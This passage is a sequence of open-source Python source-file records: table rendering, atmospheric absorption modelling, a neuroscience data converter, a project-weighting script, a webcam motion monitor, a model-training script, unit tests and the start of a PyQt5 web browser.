the returned content will consist of just this line.\n\n * repaint: all lines need to be updated, and the returned content\n will consist of all the lines.\n \"\"\"\n called_before = bool(self)\n idkey = tuple(row[idx] for idx in self.ids)\n\n if not called_before and self.fields.has_header:\n lgr.debug(\"Registering header\")\n self._add_header()\n self._rows.append(ContentRow(row, kwds={\"style\": style}))\n self._idkey_to_idx[idkey] = 0\n self._idx_to_idkey[0] = idkey\n return str(self), \"append\"\n\n try:\n prev_idx = self._idkey_to_idx[idkey]\n except KeyError:\n prev_idx = None\n except TypeError:\n raise ContentError(\"ID columns must be hashable\")\n\n if prev_idx is not None:\n lgr.debug(\"Updating content for row %r\", idkey)\n row_update = {k: v for k, v in row.items()\n if not isinstance(v, Nothing)}\n self._rows[prev_idx].row.update(row_update)\n self._rows[prev_idx].kwds.update({\"style\": style})\n # Replace the passed-in row since it may not have all the columns.\n row = self._rows[prev_idx][0]\n else:\n lgr.debug(\"Adding row %r to content for first time\", idkey)\n nrows = len(self._rows)\n self._idkey_to_idx[idkey] = nrows\n self._idx_to_idkey[nrows] = idkey\n self._rows.append(ContentRow(row, kwds={\"style\": style}))\n\n line, adjusted = self.fields.render(row, style)\n lgr.log(9, \"Rendered line as %r\", line)\n if called_before and adjusted:\n return str(self), \"repaint\"\n if not adjusted and prev_idx is not None:\n return line, prev_idx + self.fields.has_header\n return line, \"append\"\n\n def _add_header(self):\n if isinstance(self.columns, OrderedDict):\n row = self.columns\n else:\n row = dict(zip(self.columns, self.columns))\n self._header = ContentRow(row,\n kwds={\"style\": self.fields.style[\"header_\"],\n \"can_unhide\": False,\n \"adopt\": False})\n\n\nclass ContentWithSummary(Content):\n \"\"\"Like Content, but append a summary to the return value of `update`.\n \"\"\"\n\n def __init__(self, fields):\n super(ContentWithSummary, self).__init__(fields)\n self.summary = None\n\n def init_columns(self, columns, ids, table_width=None):\n super(ContentWithSummary, self).init_columns(\n columns, ids, table_width=table_width)\n self.summary = Summary(self.fields.style)\n\n def update(self, row, style):\n lgr.log(9, \"Updating with .summary set to %s\", self.summary)\n content, status = super(ContentWithSummary, self).update(row, style)\n if self.summary:\n summ_rows = self.summary.summarize(\n self.fields.visible_columns,\n [r.row for r in self._rows])\n\n def join():\n return \"\".join(self._render(summ_rows))\n\n try:\n summ_content = join()\n except RedoContent:\n # If rendering the summary lines triggered an adjustment, we\n # need to re-render the main content as well.\n return str(self), \"repaint\", join()\n return content, status, summ_content\n return content, status, None\n", "source": "pyout/pyout", "license": "MIT"} {"text": "\"\"\"\nAbsorption\n==========\n\n\"\"\"\nfrom abc import ABCMeta, abstractmethod, abstractproperty\nfrom artssat.atmosphere.atmospheric_quantity \\\n import AtmosphericQuantity, extend_dimensions\n\nfrom artssat.arts_object import ArtsObject, arts_property\nfrom artssat.jacobian import JacobianBase\nfrom artssat.retrieval import RetrievalBase, RetrievalQuantity\n\nimport numpy as np\nfrom pyarts.workspace import arts_agenda\nfrom typhon.physics.atmosphere import vmr2relative_humidity, \\\n relative_humidity2vmr\n\n################################################################################\n# Retrieval units\n################################################################################\n\nclass Unit(metaclass = ABCMeta):\n \"\"\"\n Abstract base class for classes representing units used for the calculation\n of Jacobians and retrievals of absorption species.\n \"\"\"\n def __init__():\n pass\n\n @abstractmethod\n def to_arts(self, ws, x):\n pass\n\n @abstractmethod\n def from_arts(self, ws, x):\n pass\n\n @abstractproperty\n def arts_name(self):\n pass\n\n\nclass VMR(Unit):\n \"\"\"\n VMR is the default unit used for absorption species in ARTS. If this unit\n is used value from the state vector are plugged in as they are into\n the ARTS vmr field.\n \"\"\"\n\n def __init__(self):\n pass\n\n def to_arts(self, ws, x):\n \"\"\"\n Does nothing.\n \"\"\"\n return x\n\n def from_arts(self, ws, x):\n \"\"\"\n Does nothing.\n \"\"\"\n return x\n\n @property\n def arts_name(self):\n return \"vmr\"\n\nclass Relative(Unit):\n \"\"\"\n In relative units, the amount of a quantity is specified relative to a\n reference profile or field. \n\n If this unit is used in a Jacobian calculation, then the Jacobian is\n calculated w.r.t. a relative perturbation.\n\n If this unit is used in the retrieval, values in the state vector are\n interpreted as multiplicative perturbations of the reference profile\n or field.\n \"\"\"\n def __init__(self, x_ref):\n self.x_ref = x_ref\n\n def to_arts(self, ws, x):\n return self.x_ref * x\n\n def from_arts(self, ws, y):\n return y / self.x_ref\n\n @property\n def arts_name(self):\n return \"rel\"\n\nclass RelativeHumidity(Unit):\n \"\"\"\n Relative humidity is available only for the retrieval of H2O.\n \"\"\"\n def __init__(self):\n pass\n\n def to_arts(self, ws, rh):\n \"\"\"\n Converts value given in relative humidity units to ARTS vmr units.\n\n Arguments:\n\n ws(:code:`pyarts.workspace.Workspace`): Workspace object\n which contains pressure grid and temperature field required\n for the converstion.\n\n rh(:code:`numpy.ndarray`): Relative humidity values to convert.\n\n Returns:\n\n :code:`numpy.ndarray` containing the converted RH values.\n\n \"\"\"\n p = ws.p_grid.value.reshape(-1, 1, 1)\n t = ws.t_field.value\n vmr = relative_humidity2vmr(rh, p, t)\n return vmr\n\n def from_arts(self, ws, vmr):\n \"\"\"\n Converts a value given in ARTS vmr units back to relative humidity.\n\n Arguments:\n\n ws(:code:`pyarts.workspace.Workspace`): Workspace object\n which contains pressure grid and temperature field required\n for the conversion.\n\n vmr(:code:`numpy.ndarray`): Values in ARTS vmr units to convert\n to relative humidity.\n\n Returns:\n\n :code:`numpy.ndarray` containing the converted RH values.\n\n \"\"\"\n p = ws.p_grid.value.reshape(-1, 1, 1)\n t = ws.t_field.value\n rh = vmr2relative_humidity(vmr, p, t)\n return rh\n\n @property\n def arts_name(self):\n return \"rh\"\n\n################################################################################\n# The Jacobian class\n################################################################################\n\nclass Jacobian(JacobianBase, ArtsObject):\n\n @arts_property(\"Numeric\")\n def perturbation(self):\n return 0.01\n\n def __init__(self, quantity, index):\n\n JacobianBase.__init__(self, quantity, index)\n ArtsObject.__init__(self)\n\n self.unit = VMR()\n self.for_species_tag = 1\n\n def _make_setup_kwargs(self, ws):\n kwargs = self.get_grids(ws)\n kwargs.update({\"species\" : self.quantity.get_tag_string(),\n \"unit\" : self.unit.arts_name,\n \"for_species_tag\" : self.for_species_tag})\n return kwargs\n\n def setup(self, ws):\n kwargs = self._make_setup_kwargs(ws)\n ws.jacobianAddAbsSpecies(**kwargs)\n\nclass Retrieval(RetrievalBase, Jacobian):\n\n def __init__(self, quantity, index):\n super().__init__(quantity, index)\n\n def add(self, ws):\n ws.retrievalAddAbsSpecies(**self._make_setup_kwargs(ws))\n\n\nclass AbsorptionSpecies(AtmosphericQuantity, RetrievalQuantity):\n\n def __init__(self,\n name,\n from_catalog = False,\n cia = None,\n frequency_range = None,\n isotopologues = None,\n model = None,\n on_the_fly = True,\n zeeman = False,\n lineshape = \"no_shape\",\n normalization = \"no_norm\",\n cutoff = -1,\n cutoff_type = \"ByBand\"):\n\n\n AtmosphericQuantity.__init__(self,\n name,\n (0, 0, 0))\n RetrievalQuantity.__init__(self)\n\n self._dimensions = (0, 0, 0)\n\n self._from_catalog = from_catalog\n self._cia = cia\n self._frequency_range = frequency_range\n self._isotopologues = isotopologues\n self._jacobian = None\n self._model = model\n self._on_the_fly = on_the_fly\n self._retrieval = None\n self._zeeman = zeeman\n\n self._lineshape = lineshape\n self._normalization = normalization\n self._cutoff = cutoff\n self._cutoff_type = cutoff_type\n\n\n #\n # Abstract properties\n #\n\n def dimensions(self):\n return self._dimensions\n\n #\n # Properties\n #\n\n @property\n def from_catalog(self):\n return self._from_catalog\n\n @property\n def cia(self):\n return self._cia\n\n @property\n def isotopologues(self):\n return self._isotopologues\n\n @property\n def model(self):\n return self._model\n\n @property\n def frequency_range(self):\n return self._frequency_range\n\n @property\n def on_the_fly(self):\n return self._on_the_fly\n\n @property\n def zeeman(self):\n return self._zeeman\n\n @property\n def lineshape(self):\n return self._lineshape\n\n @property\n def cutoff(self):\n return self._cutoff\n\n @property\n def cutoff_type(self):\n return self._cutoff_type\n\n @property\n def normalization(self):\n return self._normalization\n\n def _get_tag_string(self,\n zeeman = False,\n isotopologue = None,\n model = None,\n frequency_range = None):\n\n ts = self._name\n ts += \"-\"\n\n if zeeman:\n ts += \"Z\"\n ts += \"-\"\n\n if not isotopologue is None:\n ts += isotopologues\n ts += \"-\"\n\n if not model is None:\n ts += model\n ts += \"-\"\n\n if not frequency_range is None:\n ts += frequency_range[0]\n ts += \"-\"\n ts += frequency_range[1]\n return ts\n\n def get_tag_string(self):\n\n tss = []\n\n if self.from_catalog:\n tss += [self._name]\n\n z = self._zeeman\n\n if type(self._isotopologues) is list:\n isotopologues = self._isotopologues\n else:\n isotopologues = [self._isotopologues]\n\n if type(self._model) is list:\n models = self._model\n else:\n models = [self._model]\n\n if type(self._frequency_range) is list:\n frequency_ranges = self._frequency_range\n else:\n frequency_ranges = [self._frequency_range]\n\n\n for i in isotopologues:\n for m in models:\n for fr in frequency_ranges:\n tss += [self._get_tag_string(z, i, m, fr)]\n\n return \",\".join(tss)\n\n #\n # Jacobian & retrieval\n #\n\n @property\n def jacobian_class(self):\n return Jacobian\n\n @property\n def retrieval_class(self):\n return Retrieval\n\n def set_from_x(self, ws, x):\n\n grids = [ws.p_grid.value, ws.lat_grid.value, ws.lon_grid.value]\n grids = [g for g in grids if g.size > 0]\n x = self.transformation.invert(x)\n x = self.retrieval.interpolate_to_grids(x, grids)\n x = x.reshape(ws.vmr_field.value.shape[1:])\n\n unit = self.retrieval.unit\n x = unit.to_arts(ws, x)\n\n if self._wsv_index is None:\n raise Exception(\"Absorber's wsv_index is unknown. This is likely \"\n \"its setup(...) routine has not been called.\")\n\n ws.vmr_field.value[self._wsv_index, :, :, :] = x\n\n #\n # Retrieval\n #\n\n @property\n def retrieved(self):\n return not self._retrieval is None\n\n #\n # Abstract methods\n #\n\n def setup(self, ws, i):\n self._wsv_index = i\n\n def get_data(self, ws, provider, *args, **kwargs):\n\n if not self.retrieved:\n\n dimensions = ws.t_field.shape\n f = provider.__getattribute__(\"get_\" + self.name)\n x = f(*args, **kwargs)\n x = extend_dimensions(x)\n\n if not x.shape == dimensions:\n raise Exception(\"Shape of {0} field is inconsistent with \"\n \"the dimensions of the atmosphere.\"\n .format(self.name))\n\n ws.vmr_field.value[self._wsv_index, :, :, :] = x\n\nclass H2O(AbsorptionSpecies):\n def __init__(self,\n from_catalog = False,\n cia = None,\n frequency_range = None,\n isotopologues = None,\n model = \"PWR98\",\n on_the_fly = True,\n zeeman = False,\n lineshape = \"VP\",\n normalization = \"VVW\",\n cutoff = -1,\n cutoff_type = \"ByBand\"):\n super().__init__(\"H2O\",\n from_catalog = from_catalog,\n cia = cia,\n frequency_range = frequency_range,\n isotopologues = isotopologues,\n model = model,\n on_the_fly = on_the_fly,\n zeeman = zeeman,\n lineshape = lineshape,\n normalization = normalization,\n cutoff = cutoff,\n cutoff_type = cutoff_type)\n\nclass N2(AbsorptionSpecies):\n def __init__(self,\n from_catalog = False,\n cia = None,\n frequency_range = None,\n isotopologues = None,\n model = \"SelfContStandardType\",\n on_the_fly = True,\n zeeman = False,\n lineshape = \"VP\",\n normalization = \"VVH\",\n cutoff = -1,\n cutoff_type = \"ByBand\"):\n super().__init__(\"N2\",\n from_catalog = from_catalog,\n cia = cia,\n frequency_range = frequency_range,\n isotopologues = isotopologues,\n model = model,\n on_the_fly = on_the_fly,\n zeeman = zeeman,\n lineshape = lineshape,\n normalization = normalization,\n cutoff = cutoff,\n cutoff_type = cutoff_type)\n\nclass O2(AbsorptionSpecies):\n def __init__(self,\n from_catalog = False,\n cia = None,\n frequency_range = None,\n isotopologues = None,\n model = \"PWR93\",\n on_the_fly = True,\n zeeman = False,\n lineshape = \"VP\",\n normalization = \"VVW\",\n cutoff = -1,\n cutoff_type = \"ByBand\"):\n super().__init__(\"O2\",\n from_catalog = from_catalog,\n cia = cia,\n frequency_range = frequency_range,\n isotopologues = isotopologues,\n model = model,\n on_the_fly = on_the_fly,\n zeeman = zeeman,\n lineshape = lineshape,\n normalization = normalization,\n cutoff = cutoff,\n cutoff_type = cutoff_type)\n\nclass CloudWater(AbsorptionSpecies):\n def __init__(self,\n from_catalog = False,\n cia = None,\n frequency_range = None,\n isotopologues = None,\n model = \"MPM93\",\n on_the_fly = True,\n zeeman = False,\n lineshape = \"VP\",\n normalization = \"RQ\",\n cutoff = -1,\n cutoff_type = \"ByBand\"):\n super().__init__(\"cloud_water\",\n from_catalog = from_catalog,\n cia = cia,\n frequency_range = frequency_range,\n isotopologues = isotopologues,\n model = model,\n on_the_fly = on_the_fly,\n zeeman = zeeman,\n lineshape = lineshape,\n normalization = normalization,\n cutoff = cutoff,\n cutoff_type = cutoff_type)\n\n def get_tag_string(self):\n\n ts = \"liquidcloud\"\n ts += \"-\"\n\n if self._model:\n ts += self._model\n ts += \"-\"\n\n return ts\n", "source": "simonpf/pARTS", "license": "MIT"} {"text": "from nwb_conversion_tools import NWBConverter\nfrom nwb_conversion_tools.json_schema_utils import dict_deep_update\nfrom .labviewdatainterface import LabviewDataInterface\nfrom pathlib import Path\nimport yaml\n\n\nclass JaegerLabviewConverter(NWBConverter):\n data_interface_classes = dict(\n LabviewDataInterface=LabviewDataInterface,\n )\n\n def get_metadata(self):\n \"\"\"Fetch metadata\"\"\"\n # Initialize metadata from yaml file\n metadata_path = Path(__file__).parent.absolute() / 'metafile.yml'\n with open(metadata_path) as f:\n metadata = yaml.safe_load(f)\n\n metadata = dict_deep_update(metadata, self.data_interface_objects['LabviewDataInterface'].get_metadata())\n\n return metadata\n", "source": "ben-dichter-consulting/jaeger-lab-to-nwb", "license": "BSD-3-Clause"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n'''\nCr\u00e9\u00e9 le 9 Nov 2018\n\n@author: SachaWanono\n'''\n\nimport random\nimport copy\nimport sys\nimport os\nsys.path.insert(0, \"/\".join(os.path.dirname(os.path.abspath(__file__)).split(\"/\")[:-2])+\"/\")\nfrom src.constants import Const\nfrom src.project import *\nfrom src.ScoringTools.calculScore import typeUtilUsed\n\n\ndef weight(listProjects):\n \"\"\"\n Fonction qui calcule le poids de chaque projet r\u00e9sidentiel d'une liste et retourne une liste constitu\u00e9e des poids\n\n :param listProjects: (list[Residential]) liste de projets pour lesquels on veut calculer le poids\n :param listWeights: (list[int]) liste des poids que l'on vient de calculer\n \"\"\"\n\n nbProjects = len(listProjects)\n listWeights = []\n\n for i in range(nbProjects):\n # on r\u00e9cup\u00e8re les caract\u00e9ristiques du projet\n rows = listProjects[i].rows\n columns = listProjects[i].columns\n capacity = listProjects[i].capacity\n\n # on calcule le poids et l'ajoute \u00e0 listWeights\n weight = int(abs(capacity**2 + Const.LIMIT_SIZE_WEIGHT/float(rows*columns)))\n listWeights.append(weight)\n\n # ensuite on s'assure qu'aucun poids n'est \u00e9gal\n for i in range(nbProjects):\n equalWeights = []\n\n for j in range(nbProjects):\n if listWeights[i] == listWeights[j]:\n equalWeights.append(j)\n\n for k in range(len(equalWeights)):\n listWeights[equalWeights[k]] += float(k)/float(len(equalWeights))\n\n return listWeights\n\n\ndef weightUtil(listUtil, listProjectIn, maxDist, buildedU, buildedR):\n \"\"\"\n Fonction permettant de calculer le poids de chaque projet utilitaire et qui les renvoie dans une liste\n Cette fonction poss\u00e8de une complexit\u00e9 \u00e9lev\u00e9e, \u00e0 ne pas r\u00e9p\u00e9ter trop de fois\n\n :param listUtil: (list[Utility]) liste de projets pour lesquels on veut calculer le poids\n :param listProjectIn: (list[Project]) liste des projets pr\u00e9sents dans le fichier input\n :param maxDist: (int) distance maximum entre deux projets permettant de compter les points\n :param buildedR: liste des projets r\u00e9sidentiels construits dans la grille\n :param buildedU: liste des projets utilitaires construits dans la grille\n :return listWeights: (list[int]) liste des poids que l'on vient de calculer\n \"\"\"\n\n nbUtils = len(listUtil)\n listWeights = []\n\n for i in range(nbUtils):\n # on r\u00e9cup\u00e8re les caract\u00e9ristiques du projet\n rows = listUtil[i].rows\n columns = listUtil[i].columns\n type = listUtil[i].utilType\n\n # on va calculer un coef d'utilit\u00e9 en fonct\u00b0 de si ce type d'utilitaire est d\u00e9j\u00e0 beaucoup compt\u00e9 dans la grille\n countUsefull = 0\n countUseless = 0\n\n for resid in buildedR:\n if type in typeUtilUsed(listProjectIn, resid, maxDist, buildedU):\n countUseless += 1\n else:\n countUsefull += 1\n\n coef = float(countUsefull)/float(countUsefull + countUseless + 1)\n\n listWeights.append(coef * Const.LIMIT_SIZE_WEIGHT / float(rows * columns))\n\n # ensuite on s'assure qu'aucun poids n'est \u00e9gal\n for i in range(nbUtils):\n equalWeights = []\n\n for j in range(nbUtils):\n if listWeights[i] == listWeights[j]:\n equalWeights.append(j)\n\n for k in range(len(equalWeights)):\n listWeights[equalWeights[k]] += float(k)/float(len(equalWeights))\n\n return listWeights\n\n\ndef selectRandResid(listResid, listWeights):\n \"\"\"\n Fonction permettant de s\u00e9lectionner \"al\u00e9atoirement\" un projet parmis une liste de projets pond\u00e9r\u00e9s\n\n :param listProjects: (list[Residential/Utility]) liste des projets r\u00e9sidentiels du fichier input\n :return listProjects[j]: (Residential/Utility) projet s\u00e9lectionn\u00e9\n \"\"\"\n\n listWeightSort = copy.deepcopy(listWeights)\n listWeightSort.sort()\n\n totalWeight = sum(listWeightSort)\n\n rand = random.random()*totalWeight\n\n i = 0\n sumWeight = 0.0\n while sumWeight < rand and i < len(listWeightSort) - 1:\n sumWeight += float(listWeightSort[i])\n i += 1\n\n j = 0\n while listWeights[j] != listWeightSort[i] and j < len(listWeightSort) - 1:\n j += 1\n\n return listResid[j]\n\n\ndef selectRandUtil(listUtil, listProjectIn, maxDist, buildedU, buildedR):\n \"\"\"\n Fonction permettant de s\u00e9lectionner \"al\u00e9atoirement\" un projet parmis une liste de projets pond\u00e9r\u00e9s\n\n :param listProjects: (list[Utility]) liste des projets utilitaires du fichier input\n :return listProjects[j]: (Utility) projet s\u00e9lectionn\u00e9\n \"\"\"\n\n listWeights = weightUtil(listUtil, listProjectIn, maxDist, buildedU, buildedR)\n listWeightSort = copy.deepcopy(listWeights)\n listWeightSort.sort()\n\n totalWeight = sum(listWeightSort)\n\n rand = random.random()*totalWeight\n\n i = 0\n sumWeight = 0.0\n while sumWeight < rand and i < len(listWeightSort) - 1:\n sumWeight += float(listWeightSort[i])\n i += 1\n\n j = 0\n while listWeights[j] != listWeightSort[i] and j < len(listWeightSort) - 1:\n j += 1\n\n return listUtil[j]", "source": "PierreLeGuen/Polyhash-2018-Google-HashCode-", "license": "MIT"} {"text": "from typing import Tuple\nfrom time import sleep\nfrom base64 import b64encode\nimport numpy as np\nimport pygame.camera\nfrom PIL import Image, ImageChops\n\n\nclass Monitor:\n \"\"\"\n Watch for movement using a webcam.\n \"\"\"\n\n def __init__(self, camera_name: str = None, framerate: float = 0.5, movement_threshold: float = 10):\n \"\"\"\n :param camera_name: The expected name of the webcam. If None, defaults to the first camera.\n :param framerate: Seconds per image capture.\n :param movement_threshold: A scalar defining movement. A higher value means that more movement is ignored.\n \"\"\"\n\n # Initialize the camera.\n pygame.camera.init(pygame.camera.get_backends()[0])\n camera_names = pygame.camera.list_cameras()\n if camera_name is None:\n camera_name = camera_names[0]\n else:\n assert camera_name in camera_names, f\"Camera {camera_name} not found\"\n # Get the camera.\n self._camera = pygame.camera.Camera(camera_names[camera_names.index(camera_name)])\n self._framerate: float = framerate\n self._movement_threshold: float = movement_threshold\n \"\"\":field\n If True, there is movement on this frame.\n \"\"\"\n self.movement: bool = False\n \"\"\":field\n The image from this frame encoded as a base64 string.\n \"\"\"\n self.image: str = \"\"\n \"\"\":field\n The camera pixel dimensions.\n \"\"\"\n self.camera_size: Tuple[int, int] = (0, 0)\n\n def run(self) -> None:\n # Turn on the camera.\n self._camera.start()\n done = False\n # Check deltas.\n self.camera_size = self._camera.get_size()\n previous_arr = np.zeros(shape=(self.camera_size[0], self.camera_size[1], 3), dtype=np.uint8)\n try:\n while not done:\n try:\n # Get an image from the camera.\n surface = self._camera.get_image()\n # Convert the surface to a numpy array.\n arr = pygame.surfarray.array3d(surface)\n # Save the image as a string.\n self.image = b64encode(arr).decode(\"utf-8\")\n # Convert the numpy arrays to images, get the difference, and get the mean of the difference.\n q = np.mean(np.array(ImageChops.difference(Image.fromarray(previous_arr), Image.fromarray(arr))))\n self.movement = bool(q > self._movement_threshold)\n # Set the previous frame as this frame.\n previous_arr = arr.copy()\n # Wait.\n sleep(self._framerate)\n except KeyboardInterrupt:\n done = True\n finally:\n self._camera.stop()\n", "source": "subalterngames/baby_monitor", "license": "MIT"} {"text": "from flexflow.core import *\nfrom flexflow.keras.datasets import cifar10\nfrom flexflow.torch.model import PyTorchModel\nimport os\nimport numpy as np\n\n#from accuracy import ModelAccuracy\nfrom PIL import Image\n\ndef top_level_task():\n ffconfig = FFConfig()\n alexnetconfig = NetConfig()\n print(alexnetconfig.dataset_path)\n print(\"Python API batchSize(%d) workersPerNodes(%d) numNodes(%d)\" %(ffconfig.batch_size, ffconfig.workers_per_node, ffconfig.num_nodes))\n ffmodel = FFModel(ffconfig)\n \n dims_input = [ffconfig.batch_size, 3, 229, 229]\n input = ffmodel.create_tensor(dims_input, DataType.DT_FLOAT)\n\n output_tensors = PyTorchModel.file_to_ff(\"regnetX32gf.ff\", ffmodel, [input])\n t = ffmodel.softmax(output_tensors[0])\n\n ffoptimizer = SGDOptimizer(ffmodel, 0.01)\n ffmodel.optimizer = ffoptimizer\n ffmodel.compile(loss_type=LossType.LOSS_SPARSE_CATEGORICAL_CROSSENTROPY, metrics=[MetricsType.METRICS_ACCURACY, MetricsType.METRICS_SPARSE_CATEGORICAL_CROSSENTROPY])\n label = ffmodel.label_tensor\n \n num_samples = 10000\n \n (x_train, y_train), (x_test, y_test) = cifar10.load_data(num_samples)\n\n full_input_np = np.zeros((num_samples, 3, 229, 229), dtype=np.float32)\n \n for i in range(0, num_samples):\n image = x_train[i, :, :, :]\n image = image.transpose(1, 2, 0)\n pil_image = Image.fromarray(image)\n pil_image = pil_image.resize((229,229), Image.NEAREST)\n image = np.array(pil_image, dtype=np.float32)\n image = image.transpose(2, 0, 1)\n full_input_np[i, :, :, :] = image\n\n full_input_np /= 255\n \n y_train = y_train.astype('int32')\n full_label_np = y_train\n \n dataloader_input = ffmodel.create_data_loader(input, full_input_np)\n dataloader_label = ffmodel.create_data_loader(label, full_label_np)\n \n num_samples = dataloader_input.num_samples\n assert dataloader_input.num_samples == dataloader_label.num_samples\n\n ffmodel.init_layers()\n\n epochs = ffconfig.epochs\n\n ts_start = ffconfig.get_current_time()\n\n ffmodel.fit(x=dataloader_input, y=dataloader_label, epochs=epochs)\n\n ts_end = ffconfig.get_current_time()\n run_time = 1e-6 * (ts_end - ts_start);\n print(\"epochs %d, ELAPSED TIME = %.4fs, THROUGHPUT = %.2f samples/s\\n\" %(epochs, run_time, num_samples * epochs / run_time));\n # perf_metrics = ffmodel.get_perf_metrics()\n # accuracy = perf_metrics.get_accuracy()\n # if accuracy < ModelAccuracy.CIFAR10_ALEXNET.value:\n # assert 0, 'Check Accuracy'\n\nif __name__ == \"__main__\":\n print(\"regnetX32gf torch\")\n top_level_task()\n", "source": "cmu-catalyst/FlexFlow", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\n\nfrom zope.component import getSiteManager, getGlobalSiteManager\nfrom zope.component.interfaces import IComponents\n\n\ndef contextualSiteManager():\n return getSiteManager() or getGlobalSiteManager()\n\n\ndef query_registry(name, parent_components=None):\n if parent_components is None:\n parent_components = contextualSiteManager()\n return parent_components.getUtility(IComponents, name)\n", "source": "zopefoundation/grokcore.registries", "license": "ZPL-2.1"} {"text": "from numpy.random import randn\r\ndef add_and_sum(x, y):\r\n\tadded = x + y\r\n\tsummed = added.sum(axis=1)\r\n\treturn summed\r\n\r\ndef call_function():\r\n\tx = randn(1000, 1000)\r\n\ty = randn(1000, 1000)\r\n\treturn add_and_sum(x, y)", "source": "VandyChris/PythonForDataAnalysis", "license": "MIT"} {"text": "import unittest\n\nfrom force_wfmanager.model.analysis_model import AnalysisModel\n\nfrom surfactant_example.data_view.formulation_data_view import (\n FormulationDataView)\nfrom surfactant_example.data_view.formulation_base_table import (\n FormulationTableRow\n)\n\n\nclass TestFormulationBaseView(unittest.TestCase):\n\n def setUp(self):\n self.base_table_row = FormulationTableRow(\n chemical='parameter_1')\n self.analysis_model = AnalysisModel(\n header=['parameter_1', 'parameter_2',\n 'salt', 'kpi_1'],\n _evaluation_steps=[('A', 1.45, 0.5, 10),\n ('A', 5.11, 1.0, 12),\n ('B', 4.999, 1.1, 17),\n ('B', 4.998, 2.0, 22)]\n )\n self.data_view = FormulationDataView(\n analysis_model=self.analysis_model\n )\n\n def test_base_table_row_variables(self):\n self.assertListEqual(\n ['parameter_1'], self.base_table_row.variables)\n\n self.base_table_row.concentration = 'conc_1'\n self.assertListEqual(\n ['parameter_1', 'conc_1'],\n self.base_table_row.variables)\n\n def test_base_variables(self):\n self.assertEqual([], self.data_view._base_variables)\n\n self.data_view.base_table.table_rows = [\n self.base_table_row,\n FormulationTableRow(chemical='parameter_2')\n ]\n self.assertListEqual(\n ['parameter_1', 'parameter_2'],\n self.data_view._base_variables\n )\n\n def test_base_indices(self):\n self.assertEqual([], self.data_view._base_indices)\n\n self.data_view.base_table.table_rows = [self.base_table_row]\n self.assertEqual([0], self.data_view._base_indices)\n\n self.data_view.base_table.table_rows.append(\n FormulationTableRow(chemical='parameter_2'))\n self.assertEqual([0, 1], self.data_view._base_indices)\n\n def test_salt_curve_index(self):\n self.assertEqual('', self.data_view.curve_variable)\n self.assertIsNone(self.data_view._curve_index)\n\n self.data_view.curve_variable = 'kpi_1'\n self.assertEqual(3, self.data_view._curve_index)\n\n self.assertEqual('', self.data_view.salt_variable)\n self.assertIsNone(self.data_view._salt_index)\n\n self.data_view.salt_variable = 'salt'\n self.assertEqual(2, self.data_view._salt_index)\n\n def test_format_data_value(self):\n self.assertEqual(\n 'a string', self.data_view._format_data_value('a string'))\n self.assertEqual(\n 1.0, self.data_view._format_data_value(0.999))\n\n self.data_view.conc_rounding = 4\n self.assertEqual(\n 0.999, self.data_view._format_data_value(0.999))\n\n def test_format_data_hash_key(self):\n self.assertEqual(\n '',\n self.data_view._format_data_hash_key(\n ('A', 1.45, 0.5, 10))\n )\n\n self.data_view.base_table.table_rows = [self.base_table_row]\n self.assertEqual(\n 'parameter_1:A',\n self.data_view._format_data_hash_key(\n ('A', 1.45, 0.5, 10))\n )\n\n self.base_table_row.concentration = 'parameter_2'\n self.data_view.base_table.table_rows = [self.base_table_row]\n self.assertEqual(\n 'parameter_1:A-parameter_2:1.46',\n self.data_view._format_data_hash_key(\n ('A', 1.4566, 0.5, 10))\n )\n\n self.analysis_model.header = []\n self.assertEqual(\n '',\n self.data_view._format_data_hash_key(\n ('A', 1.45, 0.5, 10))\n )\n\n def test_initialize_data(self):\n data_table = self.data_view.curve_data_table\n self.data_view.curve_variable = 'kpi_1'\n self.data_view.salt_variable = 'salt'\n self.data_view.base_table.table_rows = [\n self.base_table_row,\n FormulationTableRow(chemical='parameter_2')\n ]\n\n for key in ['parameter_1:A-parameter_2:1.45',\n 'parameter_1:A-parameter_2:5.11',\n 'parameter_1:B-parameter_2:5.0']:\n self.assertIn(key, self.data_view._data)\n self.assertIsNone(data_table.selected_row)\n\n data_table.selected_row = data_table.table_rows[0]\n self.data_view.conc_rounding = 1\n for key in ['parameter_1:A-parameter_2:1.4',\n 'parameter_1:A-parameter_2:5.1',\n 'parameter_1:B-parameter_2:5.0']:\n self.assertIn(key, self.data_view._data)\n self.assertIsNone(data_table.selected_row)\n\n def test_update_data(self):\n self.data_view.curve_variable = 'kpi_1'\n self.data_view.salt_variable = 'salt'\n self.data_view.base_table.table_rows = [self.base_table_row]\n\n self.assertEqual(2, len(self.data_view._data))\n table_row = self.data_view._data['parameter_1:A']\n self.assertEqual(12, table_row.curve_max)\n\n self.analysis_model.header = []\n self.assertEqual(0, len(self.data_view._data))\n\n def test_record_max_value_for_entry(self):\n self.data_view.curve_variable = 'kpi_1'\n self.data_view.salt_variable = 'salt'\n self.data_view.base_table.table_rows = [self.base_table_row]\n\n data = {}\n self.data_view._record_max_value_for_entry(0, data)\n self.assertEqual(1, len(data))\n self.assertIn('parameter_1:A', data)\n\n table_row = data['parameter_1:A']\n self.assertEqual(10, table_row.curve_max)\n self.assertEqual('A', table_row.parameter_1)\n", "source": "force-h2020/force-bdss-plugin-surfactant-example", "license": "BSD-2-Clause"} {"text": "# -*- coding: utf-8 -*-\n__author__ = \"Felipe Oliveira\"\n__license__ = \"MIT\"\n\"\"\"home.py: Navegador Open Source \"\"\"\n\nfrom PyQt5.QtWidgets import QApplication, QMainWindow,QToolButton, QLineEdit, QMessageBox\nfrom PyQt5.QtWebEngineWidgets import QWebEngineView\nfrom PyQt5.QtCore import QUrl, QSize\nfrom PyQt5.QtGui import QIcon, QPixmap\n\nhome_url = \"https://www.google.com\"\nfacebook_url = \"https://www.facebook.com\"\ntwitter_url = \"https://www.twitter.com\"\nyoutube_url = \"https://www.youtube.com\"\n\ndef home(mainWindow):\n\tweb.load(QUrl(home_url))\ndef reload(mainWindow):\n\tweb.reload()\ndef back(mainWindow):\n\tweb.back()\ndef forward(mainWindow):\n\tweb.forward()\ndef go(mainWindow):\n\tgo_url = go_line.text()\n\tweb.load(QUrl(go_url))\ndef facebook(mainWindow):\n\tweb.load(QUrl(facebook_url))\ndef twitter(mainWindow):\n\tweb.load(QUrl(twitter_url))\ndef youtube(mainWindow):\n\tweb.load(QUrl(youtube_url))\ndef download(item):\n\titem.accept()\n\tmsg = QMessageBox()\n\tmsg.setWindowTitle(\"DOWNLOAD\")\n\tmsg.setText(\"O SEU 